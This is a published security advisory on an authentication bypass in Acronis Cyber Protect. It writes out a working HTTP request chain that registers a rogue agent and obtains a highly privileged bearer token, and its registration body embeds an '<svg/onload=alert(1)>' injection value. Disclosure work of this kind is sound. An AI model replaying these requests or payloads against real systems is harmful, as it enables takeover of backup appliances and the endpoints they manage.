{"id":19123,"date":"2022-11-08T15:41:56","date_gmt":"2022-11-08T14:41:56","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19123"},"modified":"2024-06-24T16:09:04","modified_gmt":"2024-06-24T14:09:04","slug":"usd-2022-0008","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0008\/","title":{"rendered":"usd-2022-0008"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n

<\/h2>\n

usd-2022-008 | Authentication Bypass with subsequent Remote Command Execution in Acronis Cyber Protect<\/h1>\n

Advisory ID<\/strong>: usd-2022-0008
\nProduct<\/strong>: Acronis Cyber Protect
\nAffected Version<\/strong>: Server Version 15.0.28503
\nVulnerability Type<\/strong>: Authentication Bypass (CWE-305)
\nSecurity Risk<\/strong>: Critical
\nVendor URL<\/strong>: https:\/\/www.acronis.com\/en-us\/products\/cyber-protect\/<\/a>
\nVendor Status<\/strong>: Fixed
\nCVE IDs<\/strong>: CVE-2022-3405, CVE-2022-30995
\nCVE Links<\/strong>: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-3405<\/a>, https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-30995<\/a><\/p>\n

 [\/et_pb_text][et_pb_code _builder_version=\"4.18.1\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_code][et_pb_code _builder_version=\"4.18.1\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_code][et_pb_text _builder_version=\"4.25.2\" _module_preset=\"default\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n

Introduction<\/span><\/h3>\n

The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous registration of new backup\/protection agents on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent, retrieve a bearer token and then manipulate any settings on the appliance via the available functions in the web console. The web console contains multiple possibilities to execute arbitrary commands on both the agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation job on the agent of the appliance). These options can easily be set with the provided bearer token, which leads to a complete compromise of all agents and the appliance itself.<\/p>\n

Proof of Concept<\/span><\/h3>\n

A high-privileged access_token<\/strong> can be obtained as follows:<\/p>\n

    \n
  1. Send Token Request<\/em> using Resource Owner Password Credentials<\/em> flow (grant_type=password<\/strong>)<\/li>\n<\/ol>\n
    \n
    <\/span>POST<\/span> \/idp\/token<\/span> HTTP<\/span>\/<\/span>1.1<\/span>\nHost<\/span>:<\/span> 172.16.164.130:9877<\/span>\nUser-Agent<\/span>:<\/span> Go-http-client\/1.1<\/span>\nContent-Length<\/span>:<\/span> 39<\/span>\nContent-Type<\/span>:<\/span> application\/x-www-form-urlencoded<\/span>\nAccept-Encoding<\/span>:<\/span> gzip<\/span><\/pre>\n
     <\/p>\n
    grant_type=password&password=&username=<\/p>\n<\/div>\n
    The IdP responds with an access_token<\/strong>: AT1<\/strong><\/p>\n
    \n
    <\/span>HTTP<\/span>\/<\/span>1.1<\/span> 200<\/span> OK<\/span>\nContent-Length<\/span>:<\/span> 2475<\/span>\n[...]<\/span>{\"access_token\":\"eyJhbGciOiJSUzI1NiIsImVhcCI6MSwiaXJpIjoiWVV4cUV3ZXY4MmVTRXVpQkJGM1loVSIsImtpZCI6IjZjOWIx[REDACTED]\",\"token_type\":\"bearer\",\"expires_in\":86399,\"expires_on\":1644158167,\"id_token\":\"eyJhbGciOiJSUzI1NiIsImtpZCI6IjZjOWI[...]\",\"scope\":\"urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:oauth2_client_admin(backup_agent) urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:oauth2_client_admin(backup_storage) urn:acronis.com:tenant-id:agent_manager:00000000-0000-0000-0000-000000000000:agent_registrar urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:anonymous urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:oauth2_client_admin\"}<\/pre>\n<\/div>\n
      \n
    1. AT1<\/strong> can in the following be used to register an OAuth 2.0 client as follows:<\/li>\n<\/ol>\n
      \n
      <\/span>POST<\/span> \/api\/agent_manager\/v2\/agent_registrations<\/span> HTTP<\/span>\/<\/span>1.1<\/span>\nHost<\/span>:<\/span> 172.16.164.130:9877<\/span>\nContent-Length<\/span>:<\/span> 1314<\/span>\nAuthorization<\/span>:<\/span> bearer eyJhbGciOiJSUzI1NiIsImVhcCI6MSwiaXJpIjoiW[REDACTED:AT1]<\/span>\nContent-Type<\/span>:<\/span> application\/json<\/span>\nAccept-Encoding<\/span>:<\/span> gzip<\/span><\/pre>\n
       <\/p>\n
      {<\/span>\"id\"<\/span>:<\/span>\"51088f07-76df-4933-8382-ce8ad4c58401\"<\/span>,<\/span>\"oauth_client_secret\"<\/span>:<\/span>\"56632gryjzvcqfk2aiogwpxup4a6pgfdrdwvyiesz4l6f7lvhj44\"<\/span>,<\/span>\"hostname\"<\/span>:<\/span>\"test\"<\/span>,<\/span>\"core_version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"1.15.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"348\"<\/span>}},<\/span>\"units\"<\/span>:[{<\/span>\"name\"<\/span>:<\/span>\"crs\"<\/span>,<\/span>\"version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"0.0.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"1\"<\/span>}}},{<\/span>\"name\"<\/span>:<\/span>\"sh-inventory\"<\/span>,<\/span>\"version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"0.0.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"1\"<\/span>}}},{<\/span>\"name\"<\/span>:<\/span>\"task-manager\"<\/span>,<\/span>\"version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"0.0.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"1\"<\/span>}}},{<\/span>\"name\"<\/span>:<\/span>\"atp-agent\"<\/span>,<\/span>\"version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"0.0.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"1\"<\/span>}}},{<\/span>\"name\"<\/span>:<\/span>\"atp-downloader\"<\/span>,<\/span>\"version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"0.0.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"1\"<\/span>}}},{<\/span>\"name\"<\/span>:<\/span>\"atp-scan-agent\"<\/span>,<\/span>\"version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"0.0.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"1\"<\/span>}}},{<\/span>\"name\"<\/span>:<\/span>\"active_protection\"<\/span>,<\/span>\"version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"0.0.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"1\"<\/span>}}},{<\/span>\"name\"<\/span>:<\/span>\"mms\"<\/span>,<\/span>\"version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"0.0.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"1\"<\/span>}}},{<\/span>\"name\"<\/span>:<\/span>\"sync-unit\"<\/span>,<\/span>\"version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"0.0.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"1\"<\/span>}}},{<\/span>\"name\"<\/span>:<\/span>\"cyber-protect-service\"<\/span>,<\/span>\"version\"<\/span>:{<\/span>\"current\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"0.0.0\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"1\"<\/span>}}}],<\/span>\"meta\"<\/span>:{},<\/span>\"auto_update\"<\/span>:<\/span>false<\/span>,<\/span>\"installer_version\"<\/span>:{<\/span>\"release_id\"<\/span>:<\/span>\"15.0.1\"<\/span>,<\/span>\"build\"<\/span>:<\/span>\"28503\"<\/span>},<\/span>\"platform\"<\/span>:{<\/span>\"family\"<\/span>:<\/span>\"WINDOWS\"<\/span>,<\/span>\"arch\"<\/span>:<\/span>\"X64\"<\/span>,<\/span>\"name\"<\/span>:<\/span>\"\\\\\"'<svg\/onload=alert(1);>;#--\"<\/span>,<\/span>\"version_major\"<\/span>:<\/span>0<\/span>,<\/span>\"version_minor\"<\/span>:<\/span>0<\/span>},<\/span>\"zmq_agent_public_key\"<\/span>:<\/span>\"lGfb+FxD.M?1wA6Hk+@LH:RlPY4A]W)vqJ=EWX2f\"<\/span>,<\/span>\"timezone\"<\/span>:<\/span>\"+0100\"<\/span>}<\/span><\/span><\/p>\n<\/div>\n
      The above request includes a controlled \"id\" (=client_id<\/strong>) and \"oauth_client_secret\" (=client_secret<\/strong>).<\/p>\n
        \n
      1. The aforementioned client_id<\/strong> and client_secret<\/strong> can then be used to perform a Client Credentials Flow<\/em> (grant_type=client_credentials<\/strong>) to obtain a high-privileged access_token<\/strong> AT2<\/strong>:<\/li>\n<\/ol>\n
        \n
        <\/span>POST<\/span> \/idp\/token<\/span> HTTP<\/span>\/<\/span>1.1<\/span>\nHost<\/span>:<\/span> 172.16.164.130:9877<\/span>\nUser-Agent<\/span>:<\/span> Go-http-client\/1.1<\/span>\nContent-Length<\/span>:<\/span> 143<\/span>\nContent-Type<\/span>:<\/span> application\/x-www-form-urlencoded<\/span>\nAccept-Encoding<\/span>:<\/span> gzip<\/span><\/pre>\n
         <\/p>\n
        client_id=51088f07-76df-4933-8382-ce8ad4c58401&client_secret=56632gryjzvcqfk2aiogwpxup4a6pgfdrdwvyiesz4l6f7lvhj44&grant_type=client_credentials<\/p>\n
         <\/p>\n<\/div>\n
        The IdP responds as follows:<\/p>\n
        \n
        <\/span>HTTP<\/span>\/<\/span>1.1<\/span> 200<\/span> OK<\/span>\nContent-Length<\/span>:<\/span> 13079<\/span>\n[...]<\/span>{\"access_token\":\"eyJhbGciOiJSUzI1NiIsImVhcCI6MSwiaXJpIjoicE1nWHdKS[REDACTED:AT2]\",\"token_type\":\"bearer\",\"expires_in\":2591999,\"expires_on\":1646663799,\"id_token\":\"eyJhbGciOiJSUzI1[...]\",\"scope\":\"urn:acronis.com:tenant-id:alert_manager:00000000-0000-0000-0000-000000000000:admin urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:active_protection urn:acronis.com:tenant-id:policy_management:00000000-0000-0000-0000-000000000000:read urn:acronis.com:tenant-id:s3_storage:00000000-0000-0000-0000-000000000000:write urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:agent_core urn:acronis.com:tenant-id:agent_manager:00000000-0000-0000-0000-000000000000:agent_registrar urn:acronis.com:tenant-id:agent_manager:00000000-0000-0000-0000-000000000000:agent_unregistrar urn:acronis.com:tenant-id:agent_manager:00000000-0000-0000-0000-000000000000:agent_viewer urn:acronis.com:tenant-id:apn:00000000-0000-0000-0000-000000000000:node urn:acronis.com:tenant-id:agent_manager:00000000-0000-0000-0000-000000000000:agent_updater urn:acronis.com:tenant-id:agent_manager:00000000-0000-0000-0000-000000000000:unit_configuration_viewer urn:acronis.com:tenant-id:resource_management:00000000-0000-0000-0000-000000000000:read urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:oauth2_client_admin(self) urn:acronis.com:tenant-id:agent_manager:00000000-0000-0000-0000-000000000000:agent_unit_metadata_updater urn:acronis.com:tenant-id:policy_manager:00000000-0000-0000-0000-000000000000:admin urn:acronis.com:tenant-id:scan_service:00000000-0000-0000-0000-000000000000:cwl_requestor urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000|x#ATP_*:consumer urn:acronis.com:tenant-id:agent_manager:00000000-0000-0000-0000-000000000000:host_uploader urn:acronis.com:tenant-id:accounts:00000000-0000-0000-0000-000000000000:licensing_viewer urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:tenant_viewer urn:acronis.com:tenant-id:vault_manager:00000000-0000-0000-0000-000000000000:admin urn:acronis.com:tenant-id:resource_manager:00000000-0000-0000-0000-000000000000:admin urn:acronis.com:tenant-id:scan_service:00000000-0000-0000-0000-000000000000:scan_agent urn:acronis.com:tenant-id:accounts:00000000-0000-0000-0000-000000000000:licensing_admin urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000|ATP_*:issuer urn:acronis.com:tenant-id:monitoring:00000000-0000-0000-0000-000000000000:provider urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:atp-agent urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000:trusted_viewer urn:acronis.com:tenant-id:agent_manager:00000000-0000-0000-0000-000000000000:ou_uploader urn:acronis.com:tenant-id:credentials_store:00000000-0000-0000-0000-000000000000:consumer urn:acronis.com:tenant-id:dpm:00000000-0000-0000-0000-000000000000:statistics_uploader urn:acronis.com:tenant-id:software_inventory:00000000-0000-0000-0000-000000000000:data_uploader urn:acronis.com:tenant-id:storage:00000000-0000-0000-0000-000000000000:readonly urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000|ATP_*:consumer urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000|SHI_VA:issuer urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:atp-downloader urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000|ATP_BackupScan:consumer urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:atp-scan-agent urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000|x#ATP_BackupScan*:consumer urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:crs urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000:consumer urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000:issuer urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000:viewer urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:cyber-protect-service urn:acronis.com:tenant-id:frs:00000000-0000-0000-0000-000000000000:admin urn:acronis.com:tenant-id:corp-wl:00000000-0000-0000-0000-000000000000:admin urn:acronis.com:tenant-id:bitdefender-cleanset:00000000-0000-0000-0000-000000000000:admin urn:acronis.com:tenant-id:agent_manager:00000000-0000-0000-0000-000000000000:agent_host_info_modifier urn:acronis.com:tenant-id:protection:00000000-0000-0000-0000-000000000000:readwrite urn:acronis.com:tenant-id:credentials_store:00000000-0000-0000-0000-000000000000:owner urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:mms urn:acronis.com:tenant-id:scan_service:00000000-0000-0000-0000-000000000000:restore_agent urn:acronis.com:tenant-id:storage:00000000-0000-0000-0000-000000000000:readwrite urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:sh-inventory urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000|SHI_*:consumer urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:sync-unit urn:acronis.com:tenant-id:task_manager:00000000-0000-0000-0000-000000000000:delegate urn:acronis.com:tenant-id:00000000-0000-0000-0000-000000000000:task-manager\"}<\/pre>\n<\/div>\n
        AT2<\/strong> inherits high privileges, as can already be observed at first glance via the returned scope<\/strong> parameter. Exemplary exploit paths are demonstrated within the attached \"acronis_pwn_agent.py\" and \"acronis_pwn_appliance.py\" scripts. With minor adjustments, these Python scripts can be used to automatically archive code execution on a remote Acronis Cyber Protect instance.<\/p>\n
        [\/et_pb_text][et_pb_code _builder_version=\"4.25.2\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\" width=\"83%\" module_alignment=\"center\"]